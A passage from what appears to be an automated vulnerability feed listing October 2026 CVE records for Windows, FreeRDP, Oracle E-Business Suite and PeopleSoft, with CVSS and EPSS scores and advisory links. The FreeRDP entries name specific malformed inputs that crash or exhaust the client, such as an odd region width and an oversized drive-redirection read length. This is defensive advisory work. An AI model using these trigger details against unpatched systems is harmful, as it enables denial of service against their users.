FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83861&date=2026-10-25
Heap-based buffer overflow in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83866
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83866).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83866&date=2026-10-25).
Sources:
NVD CVE-2026-83866: https://nvd.nist.gov/vuln/detail/CVE-2026-83866
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83866
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83866&date=2026-10-25
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70095
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70095).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70095&date=2026-10-25).
Sources:
NVD CVE-2026-70095: https://nvd.nist.gov/vuln/detail/CVE-2026-70095
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70095
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70095&date=2026-10-25
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70102
Use after free in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70102).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70102&date=2026-10-25).
Sources:
NVD CVE-2026-70102: https://nvd.nist.gov/vuln/detail/CVE-2026-70102
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70102&date=2026-10-25
Use after free in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70103
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70103).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70103&date=2026-10-25).
Sources:
NVD CVE-2026-70103: https://nvd.nist.gov/vuln/detail/CVE-2026-70103
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70103&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70104
Untrusted pointer dereference in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70104).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70104&date=2026-10-25).
Sources:
NVD CVE-2026-70104: https://nvd.nist.gov/vuln/detail/CVE-2026-70104
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70104
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70104&date=2026-10-25
Untrusted pointer dereference in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70106
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70106).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70106&date=2026-10-25).
Sources:
NVD CVE-2026-70106: https://nvd.nist.gov/vuln/detail/CVE-2026-70106
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70106
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70106&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.11.0 before 3.32.0 does not validate that AVC444 and AVC444v2 region widths are even before YUV444 conversion, so an odd width reaches an assertion and aborts the client.
https://kevwire.com/record/CVE-2026-109946
FreeRDP 3.11.0 before 3.32.0 does not validate that AVC444 and AVC444v2 region widths are even before YUV444 conversion, so an odd width reaches an assertion and aborts the client. (Oct 13, 2026).
FreeRDP 3.11.0 before 3.32.0 does not validate that AVC444 and AVC444v2 region widths are even before YUV444 conversion, so an odd width reaches an assertion and aborts the client. A malicious or compromised RDP server can terminate a connected FreeRDP client after RDPGFX AVC444 negotiation by sending an in-bounds region rectangle with an odd width.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109946).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109946&date=2026-10-25).
Sources:
NVD CVE-2026-109946: https://nvd.nist.gov/vuln/detail/CVE-2026-109946
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-97pf-pwp3-2wrv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109946&date=2026-10-25
FreeRDP 3.11.0 before 3.32.0 does not validate that AVC444 and AVC444v2 region widths are even before YUV444 conversion, so an odd width reaches an assertion and aborts the client. A malicious or compromised RDP server can terminate a connected FreeRDP client after RDPGFX AVC444 negotiation by sending an in-bounds region rectangle with an odd width.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.20.1 before 3.32.0 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to exhaust client memory via oversized drive...
https://kevwire.com/record/CVE-2026-109947
FreeRDP from 3.20.1 before 3.32.0 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to exhaust client memory via oversized drive... (Oct 13, 2026).
FreeRDP from 3.20.1 before 3.32.0 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to exhaust client memory via oversized drive redirection read requests. Attackers can send IRP_MJ_READ with Length 0xffffffff, causing roughly 4 GiB of zeroed allocation on 64-bit builds or an under-reserved buffer on 32-bit builds.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109947).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109947&date=2026-10-25).
Sources:
NVD CVE-2026-109947: https://nvd.nist.gov/vuln/detail/CVE-2026-109947
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-q56j-jjh6-38jf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109947&date=2026-10-25
FreeRDP from 3.20.1 before 3.32.0 contains an uncontrolled resource allocation vulnerability that allows malicious RDP servers to exhaust client memory via oversized drive redirection read requests. Attackers can send IRP_MJ_READ with Length 0xffffffff, causing roughly 4 GiB of zeroed allocation on 64-bit builds or an under-reserved buffer on 32-bit builds.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101387
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).
CVSS 7.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101387).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101387&date=2026-10-25).
Sources:
NVD CVE-2026-101387: https://nvd.nist.gov/vuln/detail/CVE-2026-101387
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101387&date=2026-10-25
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal).
https://kevwire.com/record/CVE-2026-101388
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101388).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101388&date=2026-10-25).
Sources:
NVD CVE-2026-101388: https://nvd.nist.gov/vuln/detail/CVE-2026-101388
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101388&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Portal).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).
https://kevwire.com/record/CVE-2026-101409
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101409).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101409&date=2026-10-25).
Sources:
NVD CVE-2026-101409: https://nvd.nist.gov/vuln/detail/CVE-2026-101409
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101409&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).
https://kevwire.com/record/CVE-2026-101421
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101421).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101421&date=2026-10-25).
Sources:
NVD CVE-2026-101421: https://nvd.nist.gov/vuln/detail/CVE-2026-101421
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101421&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).
https://kevwire.com/record/CVE-2026-101422
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101422).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101422&date=2026-10-25).
Sources:
NVD CVE-2026-101422: https://nvd.nist.gov/vuln/detail/CVE-2026-101422
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101422&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).
https://kevwire.com/record/CVE-2026-101427
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101427).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101427&date=2026-10-25).
Sources:
NVD CVE-2026-101427: https://nvd.nist.gov/vuln/detail/CVE-2026-101427
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101427&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).
https://kevwire.com/record/CVE-2026-101428
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101428).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101428&date=2026-10-25).
Sources:
NVD CVE-2026-101428: https://nvd.nist.gov/vuln/detail/CVE-2026-101428
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101428&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).
https://kevwire.com/record/CVE-2026-101429
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101429).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101429&date=2026-10-25).
Sources:
NVD CVE-2026-101429: https://nvd.nist.gov/vuln/detail/CVE-2026-101429
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101429&date=2026-10-25
